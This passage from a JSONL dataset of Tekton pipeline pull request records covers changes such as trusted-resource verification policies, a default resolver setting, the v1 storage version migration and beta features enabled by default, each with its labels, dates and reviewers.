warnings)\r\n- [ ] Release notes contains the string \"action required\" if the change requires additional action from users switching to the new release\r\n\r\n# Release Notes\r\n\r\n```release-note\r\nenable KMS in VerificationPolicy for trusted resources\r\n```\r\n", "created_at": "2023-01-06T17:46:01Z", "deletions": 9, "discovered_via": "tep_file_link", "files_changed": 6, "labels": ["kind/feature", "approved", "lgtm", "size/M", "release-note"], "linked_issues": [], "merged_at": "2023-01-10T00:35:56Z", "pr_number": 5965, "repo": "pipeline", "review_decision": "CHANGES_REQUESTED", "reviewer_logins": ["Yongxuanzhang", "jagathprakash", "wlynch"], "title": "[TEP-0091] enable kms in trusted resources"} +{"additions": 468, "body": "\r\n\r\n# Changes\r\n\r\nThis commit introduces a new `default-resolver-type` field to the `config-defaults` ConfigMap, which configures the default resolver type to be used when the `resolver` is not explicitly provided in the input. Supporting the default resolver type improves simplicity at the authoring time. More details can be found in [TEP-0113: Configure Default Resolver].\r\n\r\n/kind feature\r\n\r\n[TEP-0113: Configure Default Resolver]: https://github.com/tektoncd/community/blob/main/teps/0133-configure-default-resolver.md\r\n# Submitter Checklist\r\n\r\nAs the author of this PR, please check off the items in this checklist:\r\n\r\n- [x] Has [Docs](https://github.com/tektoncd/community/blob/main/standards.md#docs) included if any changes are user facing\r\n- [x] Has [Tests](https://github.com/tektoncd/community/blob/main/standards.md#tests) included if any functionality added or changed\r\n- [x] Follows the [commit message standard](https://github.com/tektoncd/community/blob/main/standards.md#commits)\r\n- [x] Meets the [Tekton contributor standards](https://github.com/tektoncd/community/blob/main/standards.md) (including\r\n functionality, content, code)\r\n- [x] Has a kind label. You can add one by adding a comment on this PR that contains `/kind `. Valid types are bug, cleanup, design, documentation, feature, flake, misc, question, tep\r\n- [x] Release notes block below has been updated with any user facing changes (API changes, bug fixes, changes requiring upgrade notices or deprecation warnings)\r\n- [x] Release notes contains the string \"action required\" if the change requires additional action from users switching to the new release\r\n\r\n# Release Notes\r\n\r\n```release-note\r\n[TEP-0133] Add \"default-resolver-type\" field in the \"default-configs\" ConfigMap to configure default resolver\r\n```\r\n", "created_at": "2023-03-08T17:43:02Z", "deletions": 62, "discovered_via": "tep_file_link", "files_changed": 19, "labels": ["kind/feature", "approved", "lgtm", "size/XL", "release-note"], "linked_issues": [], "merged_at": "2023-03-16T03:00:47Z", "pr_number": 6317, "repo": "pipeline", "review_decision": "COMMENTED", "reviewer_logins": ["QuanZhang-William", "chuangw6", "lbernick"], "title": "[TEP-0133]: Configure Default Resolver"} +{"additions": 603, "body": "\r\n\r\n# Changes\r\n\r\n\ud83d\udea8BREAKING CHANGES\ud83d\udea8\r\n\r\nThis commits changes trusted resources feature flag from resource-verification-mode to verification-no-match-policy. This is a backward incompatiable change as discussed in [TEP-0091](https://github.com/tektoncd/community/blob/main/teps/0091-trusted-resources.md). Before this commit the feature flag is used to skip/enforce the verification. This commit changes this to check the existence of matched VerificationPolicy. So to enable the verification, users just need to apply VerificationPolicy to match the resources. To disable the verification, users need to remove the policies and set the verification-no-match-policy to ignore (by default).\r\n\r\nPart of https://github.com/tektoncd/pipeline/issues/6356\r\n\r\n/kind feature\r\n\r\nSigned-off-by: Yongxuan Zhang yongxuanzhang@google.com\r\n\r\n\r\n\r\n# Submitter Checklist\r\n\r\nAs the author of this PR, please check off the items in this checklist:\r\n\r\n- [x] Has [Docs](https://github.com/tektoncd/community/blob/main/standards.md#docs) included if any changes are user facing\r\n- [x] Has [Tests](https://github.com/tektoncd/community/blob/main/standards.md#tests) included if any functionality added or changed\r\n- [x] Follows the [commit message standard](https://github.com/tektoncd/community/blob/main/standards.md#commits)\r\n- [x] Meets the [Tekton contributor standards](https://github.com/tektoncd/community/blob/main/standards.md) (including\r\n functionality, content, code)\r\n- [x] Has a kind label. You can add one by adding a comment on this PR that contains `/kind `. Valid types are bug, cleanup, design, documentation, feature, flake, misc, question, tep\r\n- [x] Release notes block below has been updated with any user facing changes (API changes, bug fixes, changes requiring upgrade notices or deprecation warnings)\r\n- [x] Release notes contains the string \"action required\" if the change requires additional action from users switching to the new release\r\n\r\n# Release Notes\r\n\r\n```release-note\r\n[action required] for trusted resources users, please change feature flag resource-verification-mode to trusted-resources-verification-no-match-policy, please refer to https://github.com/tektoncd/pipeline/blob/main/docs/trusted-resources.md#enable-trusted-resources to learn how to config the new trusted-resources-verification-no-match-policy feature flag\r\n```\r\n", "created_at": "2023-03-08T22:07:30Z", "deletions": 450, "discovered_via": "tep_file_link", "files_changed": 22, "labels": ["kind/feature", "approved", "lgtm", "size/XXL", "release-note-action-required"], "linked_issues": [], "merged_at": "2023-03-22T20:22:51Z", "pr_number": 6324, "repo": "pipeline", "review_decision": "CHANGES_REQUESTED", "reviewer_logins": ["Yongxuanzhang", "lbernick", "wlynch"], "title": "[TEP-0091] change feature flag resource-verification-mode to trusted-resources-verification-no-match-policy"} +{"additions": 118, "body": "\r\n\r\n\r\n# Changes\r\nThis commit adds the mode field into VerificationPolicy. Mode can be set to `enforce` or `warn`. It controls whether a failing policy will fail the taskrun/pipelinerun or only log the warning. When set to `enforce`, the run will fail. When set to `warn`, the run won't fail and only log warning.\r\n\r\n/kind feature\r\n\r\nPart of https://github.com/tektoncd/pipeline/issues/6356\r\n\r\nSigned-off-by: Yongxuan Zhang yongxuanzhang@google.com\r\n\r\n\r\n\r\n# Submitter Checklist\r\n\r\nAs the author of this PR, please check off the items in this checklist:\r\n\r\n- [x] Has [Docs](https://github.com/tektoncd/community/blob/main/standards.md#docs) included if any changes are user facing\r\n- [x] Has [Tests](https://github.com/tektoncd/community/blob/main/standards.md#tests) included if any functionality added or changed\r\n- [x] Follows the [commit message standard](https://github.com/tektoncd/community/blob/main/standards.md#commits)\r\n- [x] Meets the [Tekton contributor standards](https://github.com/tektoncd/community/blob/main/standards.md) (including\r\n functionality, content, code)\r\n- [x] Has a kind label. You can add one by adding a comment on this PR that contains `/kind `. Valid types are bug, cleanup, design, documentation, feature, flake, misc, question, tep\r\n- [x] Release notes block below has been updated with any user facing changes (API changes, bug fixes, changes requiring upgrade notices or deprecation warnings)\r\n- [ ] Release notes contains the string \"action required\" if the change requires additional action from users switching to the new release\r\n\r\n# Release Notes\r\n\r\n```release-note\r\nAdd mode field into VerificationPolicy to controls whether fail taskrun/pipelinerun or not when fails verification\r\n```\r\n", "created_at": "2023-03-09T04:01:09Z", "deletions": 0, "discovered_via": "tep_file_link", "files_changed": 6, "labels": ["kind/feature", "approved", "lgtm", "size/L", "release-note"], "linked_issues": [], "merged_at": "2023-03-20T14:54:51Z", "pr_number": 6328, "repo": "pipeline", "review_decision": "CHANGES_REQUESTED", "reviewer_logins": ["Yongxuanzhang", "dibyom", "wlynch"], "title": "[TEP-0091] Add mode for VerificationPolicy"} +{"additions": 142, "body": "\r\n\r\n# Changes\r\nPrior to this change, unit tests in `pipelinerun_defaults_test.go` and `taskrun_defaults_test.go` use deplicated `withContext()` functions to overwrite default values in `config-defaults` ConfigMap\r\n\r\nThis commit adds a `SetDefaults` helper function in a separate file to refactors the duplicate code.\r\n\r\nThere is no functionality change in this commit.\r\n\r\n/kind cleanup\r\n\r\n\r\n# Submitter Checklist\r\n\r\nAs the author of this PR, please check off the items in this checklist:\r\n\r\n- [ ] Has [Docs](https://github.com/tektoncd/community/blob/main/standards.md#docs) included if any changes are user facing\r\n- [ ] Has [Tests](https://github.com/tektoncd/community/blob/main/standards.md#tests) included if any functionality added or changed\r\n- [ ] Follows the [commit message standard](https://github.com/tektoncd/community/blob/main/standards.md#commits)\r\n- [ ] Meets the [Tekton contributor standards](https://github.com/tektoncd/community/blob/main/standards.md) (including\r\n functionality, content, code)\r\n- [ ] Has a kind label. You can add one by adding a comment on this PR that contains `/kind `. Valid types are bug, cleanup, design, documentation, feature, flake, misc, question, tep\r\n- [ ] Release notes block below has been updated with any user facing changes (API changes, bug fixes, changes requiring upgrade notices or deprecation warnings)\r\n- [ ] Release notes contains the string \"action required\" if the change requires additional action from users switching to the new release\r\n\r\n# Release Notes\r\n\r\n```release-note\r\nNONE\r\n```\r\n", "created_at": "2023-03-09T20:46:23Z", "deletions": 331, "discovered_via": "tep_file_link", "files_changed": 5, "labels": ["approved", "lgtm", "size/L", "release-note-none", "kind/cleanup"], "linked_issues": [], "merged_at": "2023-03-10T16:30:45Z", "pr_number": 6339, "repo": "pipeline", "review_decision": "APPROVED", "reviewer_logins": ["QuanZhang-William", "dibyom", "lbernick"], "title": "[TEP-0133] Refactor set default test helper"} +{"additions": 92, "body": "\r\n\r\n\r\n# Changes\r\nThis commit uses verification policy's mode field in trusted resources. The mode can be set to \"warn\" or \"enforce\". The policy will use \"enforce\" mode if the `mode` is not set. If the mode is set `warn`, then fails to verify this policy will only log a warning and not fail the taskruns or pipelineruns. \"enforce\" mode policy will fail the taskruns or pipelineruns if fails to verify.\r\n\r\nThis PR is part of https://github.com/tektoncd/pipeline/issues/6356\r\n\r\n/kind feature\r\n\r\nSigned-off-by: Yongxuan Zhang yongxuanzhang@google.com\r\n\r\n\r\n\r\n# Submitter Checklist\r\n\r\nAs the author of this PR, please check off the items in this checklist:\r\n\r\n- [x] Has [Docs](https://github.com/tektoncd/community/blob/main/standards.md#docs) included if any changes are user facing\r\n- [x] Has [Tests](https://github.com/tektoncd/community/blob/main/standards.md#tests) included if any functionality added or changed\r\n- [x] Follows the [commit message standard](https://github.com/tektoncd/community/blob/main/standards.md#commits)\r\n- [x] Meets the [Tekton contributor standards](https://github.com/tektoncd/community/blob/main/standards.md) (including\r\n functionality, content, code)\r\n- [x] Has a kind label. You can add one by adding a comment on this PR that contains `/kind `. Valid types are bug, cleanup, design, documentation, feature, flake, misc, question, tep\r\n- [x] Release notes block below has been updated with any user facing changes (API changes, bug fixes, changes requiring upgrade notices or deprecation warnings)\r\n- [ ] Release notes contains the string \"action required\" if the change requires additional action from users switching to the new release\r\n\r\n# Release Notes\r\n\r\n```release-note\r\nThe mode of VerificationPolicy determines how failing policies for trusted resources are handled. When set to warn, failing policies will log a warning but not fail the taskrun/pipelinerun. When set to enforce, failing policies will cause the taskrun/pipelinerun to fail if the policy cannot be verified.\r\n```\r\n", "created_at": "2023-03-21T02:11:26Z", "deletions": 29, "discovered_via": "tep_file_link", "files_changed": 4, "labels": ["kind/feature", "approved", "lgtm", "size/L", "release-note"], "linked_issues": [], "merged_at": "2023-03-23T18:38:51Z", "pr_number": 6406, "repo": "pipeline", "review_decision": "APPROVED", "reviewer_logins": ["Yongxuanzhang", "lbernick", "wlynch"], "title": "[TEP-0091] use verification mode in trusted resources"} +{"additions": 8541, "body": "# Changes\r\nPrior to this PR, CRDs are stored in etcd as V1beta1 apiVersion. This commit swaps the storage version to V1 Types for Task, TaskRun, Pipeline and PipelineRun CRDs. From now on we could make changes only to the V1 APIs.\r\n\r\nThis PR makes the following changes:\r\n- switch storage to v1beta1 for Task, TaskRun, Pipeline and PipelineRun CRDs(config/)\r\n- use V1 types in controllers\r\n- convert v1 CRDs to v1beta1 for reconciling features that are not moved to V1 ie. CustomTask\r\n - it exports the ConvertFrom functions for v1beta1 Params, Workspaces and TaskRefs for v1beta1\r\n required fields to be reconciled when we swap to v1 storage version.\r\n- migrate the v1beta1 Yamls and tests following the [migration guide](https://github.com/tektoncd/pipeline/blob/main/docs/migrating-v1beta1-to-v1.md)\r\n- swap the RefSource and Params in remote resolution API from V1beta1 to V1\r\n- for tests and examples that are enabled on default in v1beta1, add beta to `required-gates` for features that are not defaulted in v1 but in v1beta1 ie. resolver_tests and move the examples under a beta folder\r\n\r\nCloses https://github.com/tektoncd/pipeline/issues/5541\r\n\r\n\r\n\r\n# Submitter Checklist\r\n\r\nAs the author of this PR, please check off the items in this checklist:\r\n\r\n- [x] Has [Docs](https://github.com/tektoncd/community/blob/main/standards.md#docs) included if any changes are user facing\r\n- [x] Has [Tests](https://github.com/tektoncd/community/blob/main/standards.md#tests) included if any functionality added or changed\r\n- [x] Follows the [commit message standard](https://github.com/tektoncd/community/blob/main/standards.md#commits)\r\n- [x] Meets the [Tekton contributor standards](https://github.com/tektoncd/community/blob/main/standards.md) (including\r\n functionality, content, code)\r\n- [x] Has a kind label. You can add one by adding a comment on this PR that contains `/kind `. Valid types are bug, cleanup, design, documentation, feature, flake, misc, question, tep\r\n- [x] Release notes block below has been updated with any user facing changes (API changes, bug fixes, changes requiring upgrade notices or deprecation warnings)\r\n- [x] Release notes contains the string \"action required\" if the change requires additional action from users switching to the new release\r\n\r\n# Release Notes\r\n\r\n```release-note\r\naction required: for custom resolver users, please update to use v1.Param and v1.RefSource\r\n```\r\n", "created_at": "2023-03-28T14:04:15Z", "deletions": 8606, "discovered_via": "tep_file_link", "files_changed": 175, "labels": ["approved", "lgtm", "size/XXL", "release-note-action-required", "kind/misc"], "linked_issues": [], "merged_at": "2023-06-16T19:12:26Z", "pr_number": 6444, "repo": "pipeline", "review_decision": "APPROVED", "reviewer_logins": ["JeromeJu", "Yongxuanzhang", "afrittoli", "chuangw6", "dibyom", "lbernick", "vdemeester"], "title": "Change the Storage Version to V1 Types"} +{"additions": 233, "body": "\r\n\r\n# Changes\r\n\r\n\r\n\r\nIf the task fails or succeeds, as long as the task result is initialized, it can be successfully parsed and can be referenced by the final task.\r\n\r\nThis commit enables the failed task to produce the task results, and the final task can reference it.\r\n\r\nCloses #5749\r\n\r\n_This is a duplicate of https://github.com/tektoncd/pipeline/pull/5750 but with conflicts resolved and e2e test. I was reviewing PR #5750 and decided to create an e2e test. After noticing it had merge conflicts, decided to resolve them and create this PR. @cugykw is now a co-author of this commit._\r\n\r\n/kind feature\r\n\r\n# Submitter Checklist\r\n\r\nAs the author of this PR, please check off the items in this checklist:\r\n\r\n- [ ] Has [Docs](https://github.com/tektoncd/community/blob/main/standards.md#docs) if any changes are user facing, including updates to minimum requirements e.g. Kubernetes version bumps\r\n- [x] Has [Tests](https://github.com/tektoncd/community/blob/main/standards.md#tests) included if any functionality added or changed\r\n- [x] Follows the [commit message standard](https://github.com/tektoncd/community/blob/main/standards.md#commits)\r\n- [x] Meets the [Tekton contributor standards](https://github.com/tektoncd/community/blob/main/standards.md) (including functionality, content, code)\r\n- [x] Has a kind label. You can add one by adding a comment on this PR that contains `/kind `. Valid types are bug, cleanup, design, documentation, feature, flake, misc, question, tep\r\n- [x] Release notes block below has been updated with any user facing changes (API changes, bug fixes, changes requiring upgrade notices or deprecation warnings)\r\n- [ ] Release notes contains the string \"action required\" if the change requires additional action from users switching to the new release\r\n\r\n# Release Notes\r\n\r\n```release-note\r\nPipelineRun can produce task results from the failed tasks, and the final task can reference those results.\r\n```\r\n", "created_at": "2023-04-07T21:53:07Z", "deletions": 6, "discovered_via": "tep_file_link", "files_changed": 7, "labels": ["kind/feature", "approved", "lgtm", "size/L", "release-note"], "linked_issues": [5749], "merged_at": "2023-05-19T04:01:10Z", "pr_number": 6510, "repo": "pipeline", "review_decision": "APPROVED", "reviewer_logins": ["chitrangpatel", "pritidesai", "vdemeester"], "title": "feat: support to produce results from a failed task"} +{"additions": 297, "body": "# Changes\r\n\r\nThis is the first step towards moving the whole cloudevents logic to a dedicated controller.\r\n\r\nThe `Run` controller is already separated from the other controllers, but it's compiled and deployed in the shared binary. In this change we move that controller to a dedicated binary, with its own deployment, service account, roles and bindings.\r\n\r\nThis new binary shares the config maps from the pipeline binary, so that existing configuration options and docs continue to apply with no change.\r\n\r\nBecause of injection, all the informers are setup for this binary, which means that the service account requires read access to the various tekton resources. This is fine however considering that eventually this controller will handle events for all tekton pipeline resources.\r\n\r\nThe publish task is amended to expect the new events image by default as well.\r\n\r\nPartially-fixes: #2944\r\nSigned-off-by: Andrea Frittoli \r\n\r\n# Submitter Checklist\r\n\r\nAs the author of this PR, please check off the items in this checklist:\r\n\r\n- [x] Has [Docs](https://github.com/tektoncd/community/blob/main/standards.md#docs) if any changes are user facing, including updates to minimum requirements e.g. Kubernetes version bumps\r\n- [x] Has [Tests](https://github.com/tektoncd/community/blob/main/standards.md#tests) included if any functionality added or changed\r\n- [x] Follows the [commit message standard](https://github.com/tektoncd/community/blob/main/standards.md#commits)\r\n- [x] Meets the [Tekton contributor standards](https://github.com/tektoncd/community/blob/main/standards.md) (including functionality, content, code)\r\n- [x] Has a kind label. You can add one by adding a comment on this PR that contains `/kind `. Valid types are bug, cleanup, design, documentation, feature, flake, misc, question, tep\r\n- [x] Release notes block below has been updated with any user facing changes (API changes, bug fixes, changes requiring upgrade notices or deprecation warnings)\r\n- [ ] Release notes contains the string \"action required\" if the change requires additional action from users switching to the new release\r\n\r\n# Release Notes\r\n\r\n```release-note\r\nThe cloudevents controller for `Run` has been moved to its own binary, with dedicated deployment, service, pod, service account, roles and role bindings. No functional change, no configuration change.\r\n```\r\n\r\n/kind misc", "created_at": "2023-04-13T09:30:25Z", "deletions": 1, "discovered_via": "tep_file_link", "files_changed": 8, "labels": ["approved", "lgtm", "size/L", "release-note", "kind/misc"], "linked_issues": [2944], "merged_at": "2023-04-27T22:06:51Z", "pr_number": 6529, "repo": "pipeline", "review_decision": "CHANGES_REQUESTED", "reviewer_logins": ["afrittoli", "vdemeester", "wlynch"], "title": "Run events controller as separate binary"} +{"additions": 22, "body": "\r\n\r\n# Changes\r\n\r\nThe commit adds VerificationResult struct, the new struct has 2 fields, VerificationResultType and Err.\r\nVerificationResultType has 4 types: VerificationSkip, VerificationPass,\r\nVerificationWarn, VerificationError. \r\n\r\nVerificationResult will be used in reconciler to update taskrun, pipelinerun conditions, conditions' message will be filled with Err from VerificationResult.\r\n\r\nThis PR is a split from https://github.com/tektoncd/pipeline/pull/6654. \r\n\r\n/kind feature\r\n\r\nSigned-off-by: Yongxuan Zhang yongxuanzhang@google.com\r\n\r\n\r\n\r\n# Submitter Checklist\r\n\r\nAs the author of this PR, please check off the items in this checklist:\r\n\r\n- [ ] Has [Docs](https://github.com/tektoncd/community/blob/main/standards.md#docs) if any changes are user facing, including updates to minimum requirements e.g. Kubernetes version bumps\r\n- [ ] Has [Tests](https://github.com/tektoncd/community/blob/main/standards.md#tests) included if any functionality added or changed\r\n- [x] Follows the [commit message standard](https://github.com/tektoncd/community/blob/main/standards.md#commits)\r\n- [x] Meets the [Tekton contributor standards](https://github.com/tektoncd/community/blob/main/standards.md) (including functionality, content, code)\r\n- [x] Has a kind label. You can add one by adding a comment on this PR that contains `/kind `. Valid types are bug, cleanup, design, documentation, feature, flake, misc, question, tep\r\n- [ ] Release notes block below has been updated with any user facing changes (API changes, bug fixes, changes requiring upgrade notices or deprecation warnings). See some examples of [good release notes](https://github.com/tektoncd/community/blob/main/standards.md#good-release-notes).\r\n- [ ] Release notes contains the string \"action required\" if the change requires additional action from users switching to the new release\r\n\r\n# Release Notes\r\n\r\n```release-note\r\nNONE\r\n```\r\n", "created_at": "2023-05-15T20:24:18Z", "deletions": 0, "discovered_via": "tep_file_link", "files_changed": 1, "labels": ["kind/feature", "approved", "lgtm", "size/S", "release-note-none"], "linked_issues": [], "merged_at": "2023-05-16T20:59:08Z", "pr_number": 6663, "repo": "pipeline", "review_decision": "APPROVED", "reviewer_logins": ["Yongxuanzhang", "chuangw6", "lbernick"], "title": "[TEP-0091] add VerificationResult"} +{"additions": 195, "body": "\r\n\r\n# Changes\r\n\r\nThis commits uses the VerificationResult as the return value for VerifyTask and VerifyPipeline. Previously returned error will be replaced with a VerificationError type VerificationResult and error is in Err field. The cases when nil is returned are currently changed to 3 types of VerificationResult:\r\n 1) Verification is skipped\r\n 2) Verification passed\r\n 3) Warning is logged during verification.\r\n\r\n2nd PR of https://github.com/tektoncd/pipeline/issues/6665\r\n\r\nSigned-off-by: Yongxuan Zhang yongxuanzhang@google.com\r\n\r\n/kind feature\r\n\r\n\r\n\r\n# Submitter Checklist\r\n\r\nAs the author of this PR, please check off the items in this checklist:\r\n\r\n- [ ] Has [Docs](https://github.com/tektoncd/community/blob/main/standards.md#docs) if any changes are user facing, including updates to minimum requirements e.g. Kubernetes version bumps\r\n- [x] Has [Tests](https://github.com/tektoncd/community/blob/main/standards.md#tests) included if any functionality added or changed\r\n- [x] Follows the [commit message standard](https://github.com/tektoncd/community/blob/main/standards.md#commits)\r\n- [x] Meets the [Tekton contributor standards](https://github.com/tektoncd/community/blob/main/standards.md) (including functionality, content, code)\r\n- [x] Has a kind label. You can add one by adding a comment on this PR that contains `/kind `. Valid types are bug, cleanup, design, documentation, feature, flake, misc, question, tep\r\n- [x] Release notes block below has been updated with any user facing changes (API changes, bug fixes, changes requiring upgrade notices or deprecation warnings). See some examples of [good release notes](https://github.com/tektoncd/community/blob/main/standards.md#good-release-notes).\r\n- [ ] Release notes contains the string \"action required\" if the change requires additional action from users switching to the new release\r\n\r\n# Release Notes\r\n\r\n```release-note\r\nVerificationResult is the return value for instead of error for VerifyTask and VerifyPipeline.\r\n```\r\n", "created_at": "2023-05-16T21:23:33Z", "deletions": 112, "discovered_via": "tep_file_link", "files_changed": 4, "labels": ["kind/feature", "approved", "lgtm", "size/L", "release-note"], "linked_issues": [], "merged_at": "2023-05-19T16:05:10Z", "pr_number": 6673, "repo": "pipeline", "review_decision": "APPROVED", "reviewer_logins": ["Yongxuanzhang", "chuangw6", "lbernick"], "title": "[TEP-0091] use VerificationResult in verify"} +{"additions": 263, "body": "\r\n\r\n\r\n# Changes\r\nThis commit returns from GetTask. VerificationResult is returned by VerifyTask in\r\nremote resolution. The VerificationResult is used to indicate the result of trusted resources verification.\r\n\r\n3rd PR of https://github.com/tektoncd/pipeline/issues/6665\r\n\r\nTo review this PR, you may want to follow this order:\r\ntaskref.go (readRuntimeObjectAsTask->resolveTask->GetTaskFunc) -> taskspec.go&pipelinerunresolution.go -> taskrun.go\r\n\r\n/kind feature\r\n\r\nSigned-off-by: Yongxuan Zhang yongxuanzhang@google.com\r\n\r\n\r\n\r\n# Submitter Checklist\r\n\r\nAs the author of this PR, please check off the items in this checklist:\r\n\r\n- [ ] Has [Docs](https://github.com/tektoncd/community/blob/main/standards.md#docs) if any changes are user facing, including updates to minimum requirements e.g. Kubernetes version bumps\r\n- [x] Has [Tests](https://github.com/tektoncd/community/blob/main/standards.md#tests) included if any functionality added or changed\r\n- [x] Follows the [commit message standard](https://github.com/tektoncd/community/blob/main/standards.md#commits)\r\n- [x] Meets the [Tekton contributor standards](https://github.com/tektoncd/community/blob/main/standards.md) (including functionality, content, code)\r\n- [x] Has a kind label. You can add one by adding a comment on this PR that contains `/kind `. Valid types are bug, cleanup, design, documentation, feature, flake, misc, question, tep\r\n- [x] Release notes block below has been updated with any user facing changes (API changes, bug fixes, changes requiring upgrade notices or deprecation warnings). See some examples of [good release notes](https://github.com/tektoncd/community/blob/main/standards.md#good-release-notes).\r\n- [ ] Release notes contains the string \"action required\" if the change requires additional action from users switching to the new release\r\n\r\n# Release Notes\r\n\r\n```release-note\r\nGetTask is updated to return VerificationResult, VerificationResult is the from trusted resources to indicate the result of the verification\r\n```\r\n", "created_at": "2023-05-19T16:06:51Z", "deletions": 195, "discovered_via": "tep_file_link", "files_changed": 9, "labels": ["kind/feature", "approved", "lgtm", "size/L", "release-note"], "linked_issues": [], "merged_at": "2023-05-29T16:19:15Z", "pr_number": 6691, "repo": "pipeline", "review_decision": "APPROVED", "reviewer_logins": ["Yongxuanzhang", "chuangw6", "lbernick"], "title": "[TEP-0091] return VerificationResult from GetTask"} +{"additions": 64, "body": "\r\n\r\n\r\n# Changes\r\n\r\nThis commit merges VerifyTask and VerifyPipeline into VerifyResource to reduce duplicate code.\r\n\r\n/kind cleanup\r\n\r\nSigned-off-by: Yongxuan Zhang yongxuanzhang@google.com\r\n\r\n\r\n\r\n# Submitter Checklist\r\n\r\nAs the author of this PR, please check off the items in this checklist:\r\n\r\n- [ ] Has [Docs](https://github.com/tektoncd/community/blob/main/standards.md#docs) if any changes are user facing, including updates to minimum requirements e.g. Kubernetes version bumps\r\n- [x] Has [Tests](https://github.com/tektoncd/community/blob/main/standards.md#tests) included if any functionality added or changed\r\n- [x] Follows the [commit message standard](https://github.com/tektoncd/community/blob/main/standards.md#commits)\r\n- [x] Meets the [Tekton contributor standards](https://github.com/tektoncd/community/blob/main/standards.md) (including functionality, content, code)\r\n- [x] Has a kind label. You can add one by adding a comment on this PR that contains `/kind `. Valid types are bug, cleanup, design, documentation, feature, flake, misc, question, tep\r\n- [ ] Release notes block below has been updated with any user facing changes (API changes, bug fixes, changes requiring upgrade notices or deprecation warnings). See some examples of [good release notes](https://github.com/tektoncd/community/blob/main/standards.md#good-release-notes).\r\n- [x] Release notes contains the string \"action required\" if the change requires additional action from users switching to the new release\r\n\r\n# Release Notes\r\n\r\n```release-note\r\naction required: VerifyTask and VerifyPipeline are now merged into 1 function VerifyResource, please update the usages if upgrade to the new release\r\n```\r\n", "created_at": "2023-05-25T21:38:54Z", "deletions": 66, "discovered_via": "tep_file_link", "files_changed": 5, "labels": ["approved", "lgtm", "size/L", "release-note-action-required", "kind/cleanup"], "linked_issues": [], "merged_at": "2023-05-29T17:29:15Z", "pr_number": 6724, "repo": "pipeline", "review_decision": "APPROVED", "reviewer_logins": ["JeromeJu", "Yongxuanzhang", "lbernick"], "title": "merge VerifyTask and VerifyPipeline into VerifyResource"} +{"additions": 63, "body": "When users decide to upgrade to v1 APIs, they may not be aware they are using beta features. If they are using the default value (\"stable\") of \"enable-api-fields\", any beta features they're using will work in beta APIs, but break when when move to v1 APIs.\r\n\r\nThis commit changes the default value of \"enable-api-fields\" to \"beta\", to ensure beta features continue to work by default when users change API versions. Independently, we plan to decouple API versioning from feature versioning (https://github.com/tektoncd/pipeline/issues/6592).\r\n\r\nThis commit will also help avoid breakages when swapping our storage version to v1 due to the issue described [here](https://github.com/tektoncd/pipeline/pull/6444#issuecomment-1580926707).\r\n\r\nThis commit is not backwards compatible.\r\n\r\nRelated: https://github.com/tektoncd/pipeline/issues/6616\r\n\r\n/kind misc\r\n\r\n# Submitter Checklist\r\n\r\nAs the author of this PR, please check off the items in this checklist:\r\n\r\n- [x] Has [Docs](https://github.com/tektoncd/community/blob/main/standards.md#docs) if any changes are user facing, including updates to minimum requirements e.g. Kubernetes version bumps\r\n- [x] Has [Tests](https://github.com/tektoncd/community/blob/main/standards.md#tests) included if any functionality added or changed\r\n- [x] Follows the [commit message standard](https://github.com/tektoncd/community/blob/main/standards.md#commits)\r\n- [x] Meets the [Tekton contributor standards](https://github.com/tektoncd/community/blob/main/standards.md) (including functionality, content, code)\r\n- [x] Has a kind label. You can add one by adding a comment on this PR that contains `/kind `. Valid types are bug, cleanup, design, documentation, feature, flake, misc, question, tep\r\n- [x] Release notes block below has been updated with any user facing changes (API changes, bug fixes, changes requiring upgrade notices or deprecation warnings). See some examples of [good release notes](https://github.com/tektoncd/community/blob/main/standards.md#good-release-notes).\r\n- [x] Release notes contains the string \"action required\" if the change requires additional action from users switching to the new release\r\n\r\n# Release Notes\r\n\r\n```release-note\r\naction required: \"enable-api-fields\" is set to \"beta\" by default. If you are using v1 APIs and would like to use only stable features, modify the \"feature-flags\" configmap in the \"tekton-pipelines\" namespace to set \"enable-api-fields\" to \"stable\". Example command: kubectl patch cm feature-flags -n tekton-pipelines -p '{\"data\":{\"enable-api-fields\":\"stable\"}}'\r\nIf you are using v1beta1 APIs, no action is needed.\r\n```\r\n", "created_at": "2023-05-26T18:25:51Z", "deletions": 31, "discovered_via": "tep_file_link", "files_changed": 19, "labels": ["approved", "lgtm", "size/M", "release-note-action-required", "kind/misc"], "linked_issues": [], "merged_at": "2023-06-08T14:52:55Z", "pr_number": 6732, "repo": "pipeline", "review_decision": "APPROVED", "reviewer_logins": ["JeromeJu", "afrittoli", "vdemeester"], "title": "Enable beta features by default"} +{"additions": 176, "body": "\r\n\r\n# Changes\r\nThis commits updates GetPipeline to return\r\nVerificationResult. VerificationResult is returned by VerifyResource in remote resolution.\r\n\r\n4th PR of https://github.com/tektoncd/pipeline/issues/6665\r\n\r\nThis PR is similar to https://github.com/tektoncd/pipeline/pull/6691 \r\n\r\n/kind feature\r\n\r\nSigned-off-by: Yongxuan Zhang yongxuanzhang@google.com\r\n\r\n\r\n\r\n# Submitter Checklist\r\n\r\nAs the author of this PR, please check off the items in this checklist:\r\n\r\n- [ ] Has [Docs](https://github.com/tektoncd/community/blob/main/standards.md#docs) if any changes are user facing, including updates to minimum requirements e.g. Kubernetes version bumps\r\n- [x] Has [Tests](https://github.com/tektoncd/community/blob/main/standards.md#tests) included if any functionality added or changed\r\n- [x] Follows the [commit message standard](https://github.com/tektoncd/community/blob/main/standards.md#commits)\r\n- [x] Meets the [Tekton contributor standards](https://github.com/tektoncd/community/blob/main/standards.md) (including functionality, content, code)\r\n- [x] Has a kind label. You can add one by adding a comment on this PR that contains `/kind `. Valid types are bug, cleanup, design, documentation, feature, flake, misc, question, tep\r\n- [x] Release notes block below has been updated with any user facing changes (API changes, bug fixes, changes requiring upgrade notices or deprecation warnings). See some examples of [good release notes](https://github.com/tektoncd/community/blob/main/standards.md#good-release-notes).\r\n- [ ] Release notes contains the string \"action required\" if the change requires additional action from users switching to the new release\r\n\r\n# Release Notes\r\n\r\n```release-note\r\n GetPipeline is updated to return VerificationResult, VerificationResult is the from trusted resources to indicate the result of the verification\r\n```\r\n", "created_at": "2023-05-29T17:34:26Z", "deletions": 155, "discovered_via": "tep_file_link", "files_changed": 5, "labels": ["kind/feature", "approved", "lgtm", "size/L", "release-note"], "linked_issues": [], "merged_at": "2023-05-31T20:07:16Z", "pr_number": 6736, "repo": "pipeline", "review_decision": "APPROVED", "reviewer_logins": ["Yongxuanzhang", "chuangw6", "lbernick"], "title": "[TEP-0091] return VerificationResult from GetPipeline"} +{"additions": 173, "body": "\r\n\r\n\r\n\r\n# Changes\r\nThis commit adds v1 task and pipeline verification for VerifyResource. This is part of the v1 support for trusted 